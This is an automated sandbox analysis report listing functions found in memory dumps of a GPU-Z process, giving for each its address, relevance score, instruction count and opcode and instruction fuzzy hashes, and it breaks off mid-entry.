Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4df782e1c7fc6ce53cb242589ba5cf1753dd466dac4833f6c7a4c0d9ebf6d3d
Instruction ID: 719474871b1317dc979a738ebe5e9eacd3871cc68d94a210359b9fccfb5be2d6
Opcode Fuzzy Hash: e4df782e1c7fc6ce53cb242589ba5cf1753dd466dac4833f6c7a4c0d9ebf6d3d
Instruction Fuzzy Hash: AD11A0307403004FE7A9E669C898B6BB3AAEFC4714F24C439EC0587294CBB5DC02CBA1

Function 031B9DF8 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e477dddcd748c6996fd9bb748559093a29bc6db899f078262af3d214ff6dceb8
Instruction ID: 42b6eeaa513606a08607ae5d3794764a9171556d3838438f0e4ca5436b0819d8
Opcode Fuzzy Hash: e477dddcd748c6996fd9bb748559093a29bc6db899f078262af3d214ff6dceb8
Instruction Fuzzy Hash: 4F111C35B101049BDB14CE55D885FDEBBBAFB8C710F148069FA16A7250DB71AC11CBA0

Function 08A91870 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddd2fdd122f4250b27492c6cced20401be691bcff7436809c9ac35277fbe6b31
Instruction ID: 1f28d73d513b538efd5f3c254b86c7e5499f285a1a725d63e7c58c79303dc43e
Opcode Fuzzy Hash: ddd2fdd122f4250b27492c6cced20401be691bcff7436809c9ac35277fbe6b31
Instruction Fuzzy Hash: A911E731D0070A8ECB10DFA9D8805DEFBF4FF48324B11866AD559B3211E730E691CB90

Function 018CD1FF Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835145137.00000000018CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 018CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_18cd000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d06fae078f3ccc2112caf8552f6b645ede566e603d6c7b0d9faf10800b04cc1c
Instruction ID: cd817f950fe475bb2fea16c26b482555db6c710e1d7a13ed13b736221e173506
Opcode Fuzzy Hash: d06fae078f3ccc2112caf8552f6b645ede566e603d6c7b0d9faf10800b04cc1c
Instruction Fuzzy Hash: 0421DF76404240DFDB06DF44D9C4B16BF72FB88720F24C6A9DD094B656C33AE51ACBA2

Function 06783689 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffb27a41ed9afb165a8eff824bff8523a523255effaeb77185bf2f8e3c39339b
Instruction ID: 86e05cc9b72ce9b998047a42a86be4221925fe41815b71ce92f5d4d2570d7981
Opcode Fuzzy Hash: ffb27a41ed9afb165a8eff824bff8523a523255effaeb77185bf2f8e3c39339b
Instruction Fuzzy Hash: 8D0122307411118FEB54BFADDE54D7A33A9AF81E2530400AAE506CB3A1EF22DD00CB90

Function 031B9DF7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8199d412e36d6cf29d3974b353b716e0d44636f821a8e3b19988b0d321014163
Instruction ID: 34058fbbca1c928b939aa2124eef93c8e0afaf61c99a2f4125840344ca670762
Opcode Fuzzy Hash: 8199d412e36d6cf29d3974b353b716e0d44636f821a8e3b19988b0d321014163
Instruction Fuzzy Hash: 54111936B101049BDB14CE64D985BDDBBBAFB8C211F148069FA16E7290DB31AC11CB60

Function 031B46C7 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f61c40c7fc44b6d23aeb7a5205002e6e9beebeb16d3d67b0bd5616a7a2c95926
Instruction ID: 1f4f05579c4d65a6230df963a98dbf426824889353f1047a006ed65971350f4f
Opcode Fuzzy Hash: f61c40c7fc44b6d23aeb7a5205002e6e9beebeb16d3d67b0bd5616a7a2c95926
Instruction Fuzzy Hash: 4B114C14E0560997CB08DFBF89113EAB6F5AF8D210F24C5A5D41AC7395DF35C4018792

Function 031BAD31 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d298260484d5878f7998b2a9dd03b8165f64980951de5d3cc32d93bf69116a02
Instruction ID: 603dfd799eefec693908d599b8c42cfa3761e7765d2bd324d65de1f085582e9a
Opcode Fuzzy Hash: d298260484d5878f7998b2a9dd03b8165f64980951de5d3cc32d93bf69116a02
Instruction Fuzzy Hash: 1E115A353141009FC7199B29D818B5A7BF6EF8D752F2180AAE44ACB3A5DF71DC82CB91

Function 0678CC40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c33bca8fa06088d4f6ea73eeb3180afc4b694e6a57151828d4cc189583e229ce
Instruction ID: 8864291489af2d401148985f6fdfde8fbfca443730778a6d49992936bf8cd5af
Opcode Fuzzy Hash: c33bca8fa06088d4f6ea73eeb3180afc4b694e6a57151828d4cc189583e229ce
Instruction Fuzzy Hash: 0401DE327446008FC756AF7DDA508AABBF5EF4625230442AAE005CB372DA31DD40C771

Function 08A9F018 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aacc6680dadb9240267203aae5bb4836a94e024202449ff3daf83b5e22e9bd4
Instruction ID: 15aba8c0f76b9838e859b73619e990b606e817568246001379ba0a7c8e8a3a62
Opcode Fuzzy Hash: 4aacc6680dadb9240267203aae5bb4836a94e024202449ff3daf83b5e22e9bd4
Instruction Fuzzy Hash: 4F11A1B0A185148BC704BBB9F58952DBFF9EF49704F8088A8E489A3241EE3C5C59C796

Function 018DD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835187125.00000000018DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 018DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_18dd000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: f855903380dc9efda51c3d48d48727fd75ef4b0f37fb1f9550f79d102a57d17b
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: E511BB75504380DFDB02CF54C5C4B15BFB2FB84324F24C6A9D8498B696C33AE40ACB62

Function 06781FE0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58849177b3b9ff87a4ab6e1c9f2da350bdc061a45225a877995e580c87bf90e2
Instruction ID: 670a0ed36422f0c6403a2b17525c6a9df03fbc5434a14826863b6afedf098e58
Opcode Fuzzy Hash: 58849177b3b9ff87a4ab6e1c9f2da350bdc061a45225a877995e580c87bf90e2
Instruction Fuzzy Hash: 4911E075A002059FCF52DF68C994ABE7BF4FF08210F04842AE924D7262D731CA11DBA1

Function 0678EDE0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9efb98376f8bb2fcf5e81c331d8a41d116a5bc254e5875969270237dedc8b916
Instruction ID: 9d51b2ded2fa962257b584964b16489671c2529483cd1344263a0f9b11d1f44c
Opcode Fuzzy Hash: 9efb98376f8bb2fcf5e81c331d8a41d116a5bc254e5875969270237dedc8b916
Instruction Fuzzy Hash: 6D1184353542408FC706AB78C49496D7BB6AFCA65070A40DAE546CB3B7DE248C02C7A2

Function 031BAD40 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6aacbc40ca60008ba7dd0075537f6a1f39fc9058d5dc5a7bd9412d28749c6a0
Instruction ID: 2b16ef56fc0cd55d74d45286231e16a0b50b39b46254b3e6219d5850b6aef836
Opcode Fuzzy Hash: d6aacbc40ca60008ba7dd0075537f6a1f39fc9058d5dc5a7bd9412d28749c6a0
Instruction Fuzzy Hash: A71157353101108FC7189B2DD418B6A77AAEF8D752F2184AAE44ACB3A5DF71DC828B90

Function 08A92500 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3991975fdbe3d1c565f10a4c344c098d8a43a3a41c7cc843d87cbecb257731d4
Instruction ID: 4b6868a69d5dcaa70eec800219cdae24845ff3f474b4a84c72447948c69448d7
Opcode Fuzzy Hash: 3991975fdbe3d1c565f10a4c344c098d8a43a3a41c7cc843d87cbecb257731d4
Instruction Fuzzy Hash: 4901DF7AB082221BCF0ADA6D8C506BFA3EBEFC42513198829C459D7304EE348C0657A1

Function 06789E2A Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1953a2bbc6385c414e4074a65f9aea0ac692f0708e4512c06dadf168970e704e
Instruction ID: dcd2e91dc0a7ef722dd9d5fe4968e9270ae34bcbe0ff7dab10ddd879ad3fb44e
Opcode Fuzzy Hash: 1953a2bbc6385c414e4074a65f9aea0ac692f0708e4512c06dadf168970e704e
Instruction Fuzzy Hash: A1012232A40244DFDB45EBACDA006BABFA5FF41300B54C4AAD608D7212D731DD42C7E1

Function 0678EE08 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b962f4a93ed08c931a7d001149643b67e614e44fe49d5f39968b32f37e5713c1
Instruction ID: 32906d3b5a13b782b7dd536a572d57721018aa857288c1bd896451dbfc012f67
Opcode Fuzzy Hash: b962f4a93ed08c931a7d001149643b67e614e44fe49d5f39968b32f37e5713c1
Instruction Fuzzy Hash: C7018F357801054F9A54A77CC46893E7BEBEFC969571940A9DA07CB3B8DF24CC42C792

Function 06781FF0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dea9aaa3f66ee6d8ba9db3a0c6c529ea9930ff9ee9a5868e4eb88739c051754
Instruction ID: fd85c3bb217fb8029f82928596887fd51d66eb7773e9ba4de730a46f2187abe5
Opcode Fuzzy Hash: 6dea9aaa3f66ee6d8ba9db3a0c6c529ea9930ff9ee9a5868e4eb88739c051754
Instruction Fuzzy Hash: 0C118B71B102099FCF55DF69C884ABE7BF4FF48610F008429E928D7221DB31DA11DBA1

Function 031B8EE0 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66a93d44b5f95cc1f6b1fe8c829d0b2d3fd839351c9cd3622e963a8b5ab8e807
Instruction ID: 558923dda8d2a93d2e7ee5e2bec36be1f8bd5c74c29ecfd8d164eed1a40b5114
Opcode Fuzzy Hash: 66a93d44b5f95cc1f6b1fe8c829d0b2d3fd839351c9cd3622e963a8b5ab8e807
Instruction Fuzzy Hash: 7C0128353081C64FD716EA3D98186A6BBBEAF8DD0131D00B6E144CF2A2EB50DC168342

Function 031BCD7F Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e887eae58f2fedce67e4ddf93ade480f283fb23600ec9cb1da279b4da44894c
Instruction ID: 8b792e24dcbe9e991ef18f104be43fd21236e6fc77fb526ee44218b69daceae1
Opcode Fuzzy Hash: 1e887eae58f2fedce67e4ddf93ade480f283fb23600ec9cb1da279b4da44894c
Instruction Fuzzy Hash: 9401B1356053114BD710EF6C98907D17B76FF99310F1442B9D988AF282DBB19945C7E0

Function 06788B42 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e7af1bc37b35d96ebadc9e6201b016250852329bc338636b0904aa4ca6d9456
Instruction ID: 47dc7bd54852835d1be0434b7afe3c7dc6774e68838dd6bd6a44b939ebc438ff
Opcode Fuzzy Hash: 0e7af1bc37b35d96ebadc9e6201b016250852329bc338636b0904aa4ca6d9456
Instruction Fuzzy Hash: D311CA31201B418FC324EF29E91460B7BF6FF84320F108B5DE196877A5CBB4A906CB91

Function 031BB758 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 687a3fe1037554b4374e9ccfdb91cac7c2530c4b107f0731def54adbc6bcf380
Instruction ID: 67cc38dd2c2ebcea2d46b086f4b27ae6d3a651b6523165604e5daaef40748b9e
Opcode Fuzzy Hash: 687a3fe1037554b4374e9ccfdb91cac7c2530c4b107f0731def54adbc6bcf380
Instruction Fuzzy Hash: 4201D435D1C1149BDB14DAAD85113E97BB4DB0C251F1884BAD106D6BC1D339868197D2

Function 0678FACF Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfe7339894f7747ebac82c7f75b854bdbf47d3baf102fedd06843cbf44d57a40
Instruction ID: fe77ca1ff26e9af764759f0bf87e94848fa069206c41939f502c4cfa7a70f54e
Opcode Fuzzy Hash: bfe7339894f7747ebac82c7f75b854bdbf47d3baf102fedd06843cbf44d57a40
Instruction Fuzzy Hash: 350171B5F406058F9BA5EF7AA9546BEBBF6AF88640714816AC918E7201FB34C801CB50

Function 031B46E8 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4de550a1b1e300e475425a950d86460c5d0ebae61b582743a0e57e85bd486df9
Instruction ID: 4ef4b951b9572e383f64199be003eedee7057baa61e676d1d1a084cf55dcd1ec
Opcode Fuzzy Hash: 4de550a1b1e300e475425a950d86460c5d0ebae61b582743a0e57e85bd486df9
Instruction Fuzzy Hash: 72016224F109098BDB08DEBF89113B6B5F6AF8D600F25C965D40AC3395EF39C9418692

Function 031BC530 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e0ba2d15d0c2a167479c731c74324a1425ea6b80e919f2a7bc6e03013bfceec
Instruction ID: 043143e8bfb469c266d22e1b1b67f6bb20068821b73196f4208adc495ef48095
Opcode Fuzzy Hash: 3e0ba2d15d0c2a167479c731c74324a1425ea6b80e919f2a7bc6e03013bfceec
Instruction Fuzzy Hash: AB01A23570534147E710EF6C98A07D6BB6AFF89324F044679EA48AF386CB65A948C7E0

Function 031BBC59 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db99cf464265394ecfb50f7e438d7dbb833815fbd8ee8edb7fe1232fd7c840f2
Instruction ID: eac6b0f0be32883a70d216d210de6469f88b60ce6cfe86063e1d73ddab4c3128
Opcode Fuzzy Hash: db99cf464265394ecfb50f7e438d7dbb833815fbd8ee8edb7fe1232fd7c840f2
Instruction Fuzzy Hash: F6F0AD65B042159FC308DABE995476B16CFABC8610B20887ED00BC7358ED39CC028361

Function 018CD7C9 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835145137.00000000018CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 018CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_18cd000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a3d60ecf5c681d1d80f0c2890f3a05fa770e9362ddf301c7d30454e5aee4969
Instruction ID: 9982f84116d0c9c5791b9fb1e26ac98185cd53ccc608aeceecb911dcc6e55236
Opcode Fuzzy Hash: 5a3d60ecf5c681d1d80f0c2890f3a05fa770e9362ddf301c7d30454e5aee4969
Instruction Fuzzy Hash: 6A01F731004344DAE720AB9ADD84B67BF98EF45724F18CA3EED0C8A286C379D940C6F1

Function 0678D54F Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c08a9217b4d594e0172b016d4fb6977111d8028688221818ece962d4c02e1720
Instruction ID: ea34ad92604e44ec8bfad779bf48cf0e403cbacd705d8efa0bd752db1c0335b5
Opcode Fuzzy Hash: c08a9217b4d594e0172b016d4fb6977111d8028688221818ece962d4c02e1720
Instruction Fuzzy Hash: D901F9326853804FC363A7789E607A53FBAAF82214F090497D155CB3E3DA34DD45C7A1

Function 031B8E78 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae247ab8b1895a0a45cb64d782fcc2092ba1ae29cd576dcf9b0c3ab4dcbfae5
Instruction ID: 05a50538e65dea8d76f645d5920813cba2ef45057a104034ca820bb933bb6920
Opcode Fuzzy Hash: dae247ab8b1895a0a45cb64d782fcc2092ba1ae29cd576dcf9b0c3ab4dcbfae5
Instruction Fuzzy Hash: 31F06D313005554BC725DA2E9848AAABBEEAFCCE517190079E909CB361DF60DC118792

Function 031BBC68 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbb01b9ca7c705f0b9f056771e93429400413f7b432115329e307f3bf514760c
Instruction ID: e80001706128225c9620c9835c07968608c0cd448b69d1c2d35e5376fae4bf08
Opcode Fuzzy Hash: bbb01b9ca7c705f0b9f056771e93429400413f7b432115329e307f3bf514760c
Instruction Fuzzy Hash: A4F0AF357441189FC20CEE7E9C9466B66DFBBCD710B20887AD40BC7358DD29CC0283A1

Function 06781844 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c17a0789b8c4bd5dd6af9b11e7ba561c3edd9609b2e31593db4fa163d1e58f4
Instruction ID: aaa06e6a9ce118dab9bc9a2e1869ae0cd0cf91c94ad8b8dbf081dccff2cd60cd
Opcode Fuzzy Hash: 1c17a0789b8c4bd5dd6af9b11e7ba561c3edd9609b2e31593db4fa163d1e58f4
Instruction Fuzzy Hash: 13F062307905114F9798BA7ED99897A37D9EF84E213154069E506CB360FE62DC05C690

Function 06787FD0 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fe7b97f755d3eee326f04fbfb3b520ce44fdb7fca10d796fb5729d526a7d494
Instruction ID: 33330ff1156237bd305befd78b973f53b3adc55d90013251ad8790f10a0196c9
Opcode Fuzzy Hash: 4fe7b97f755d3eee326f04fbfb3b520ce44fdb7fca10d796fb5729d526a7d494
Instruction Fuzzy Hash: 11F021247165550FD35067BD7A606AB3FDAE7D6651F000056EA0DC7381DA228E41C7D3

Function 06788B50 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2cb8648495c4459d564b254f0b2b403e72b35bc67c7a977c121e6287d4989d3
Instruction ID: 5c904669c583fdc7f97d8d2a70dce39fd9a657865b910070fc5357ac5a050c0b
Opcode Fuzzy Hash: c2cb8648495c4459d564b254f0b2b403e72b35bc67c7a977c121e6287d4989d3
Instruction Fuzzy Hash: B0016931210B004FC724EF29E50460BBBEAEF84325F108B2DD55687794DF75E8068B91

Function 031BB768 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e65bf8ddbac205b15af2da25512248d50f116d0e1bb38f2058ada3e81afd454
Instruction ID: 9a0ab1c08ceac8e750ae822cd81c47c2a7d9169ad26bf73034d24bb78574dec2
Opcode Fuzzy Hash: 2e65bf8ddbac205b15af2da25512248d50f116d0e1bb38f2058ada3e81afd454
Instruction Fuzzy Hash: 6F018C35A1C105DBDB18DAA989113F97AB8EB0C301F15C476D106C7BC0D3398A818BE2

Function 031B47A8 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be447e3b2592e23e99814eebd547e6d5138bc5d2a4f59d2e46797e5c3359968e
Instruction ID: 2380300a9993332aefe4e7799d17e39294f07ee4424a70bfc12ea63b378f9027
Opcode Fuzzy Hash: be447e3b2592e23e99814eebd547e6d5138bc5d2a4f59d2e46797e5c3359968e
Instruction Fuzzy Hash: 7BF0F072E04051A7C724C9BBB8053DBBBB9D38F651F06C43AE819C3203DE2584418395

Function 08A93E7C Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56d7e931b68def436788cfe5abe4b4f6a9e62b60c33b95a3ac5ff122a990b7ab
Instruction ID: 06f1897edfe909730e2fa6f6cf8c70cd70d195a1a1168189fa7562b90a11e34c
Opcode Fuzzy Hash: 56d7e931b68def436788cfe5abe4b4f6a9e62b60c33b95a3ac5ff122a990b7ab
Instruction Fuzzy Hash: ED014B3161E7C08FD3169738D8546017FF5AF87615B0A80EBD188CB2B3D6A98C09C362

Function 031B47B8 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 773031635534e4d5bb147322456b42c4ebd5977c134ae54f3ca02085b94a59ee
Instruction ID: 6ff78b0e8cb3c0407481aaa6a55afd8e370fd3ef1ab8ba5ba407fc07740e92e8
Opcode Fuzzy Hash: 773031635534e4d5bb147322456b42c4ebd5977c134ae54f3ca02085b94a59ee
Instruction Fuzzy Hash: A5F0BE32E08055ABC318C9BBA8052DBB775D78E651F02C863E51AD3203DF25888183A9

Function 031BC53C Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
